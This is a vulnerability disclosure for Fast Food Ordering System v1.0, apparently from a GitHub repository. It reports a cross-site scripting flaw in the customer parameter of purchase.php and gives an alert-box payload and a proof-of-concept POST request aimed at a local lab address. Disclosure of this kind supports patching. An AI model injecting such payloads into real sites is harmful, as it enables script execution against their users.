Tr0e Create XSS-4.md History

1 contributor

50 lines (34 sloc) | 2.24 KB

Vulnerability Description

Fast Food Ordering System v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the purchase.php. It is an open source project from campcodes.com. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the customer parameter.

1. Vulnerability Submitter: Tr0e
2. vendors: Fast Food Ordering System v1.0;
3. The program is built using the xmapp/v3.3.0 and PHP/8.1.10 version;
4. Vulnerability location: /fastfood/purchase.php

Vulnerability Verification

[+] Payload:

```
<script>alert("XSS")</script>
```

POC:

```
POST /fastfood/purchase.php HTTP/1.1
Host: 192.168.0.111:91
Content-Length: 259
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.111:91
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, lik
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
Referer: http://192.168.0.111:91/fastfood/order.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=rbcvgagjbbad1bbrbb62nukgmc
Connection: close

quantity_0=&quantity_1=&quantity_2=&quantity_3=&quantity_4=&quantity_5=&quantity_6=&
```

How to verify

Build the vulnerability environment according to the steps provided by the source code author and execute the Payload provided above.

The vulnerability is located at the "Order - Save" function, you shuold inserts Payload when you save order，as shown in the following figure：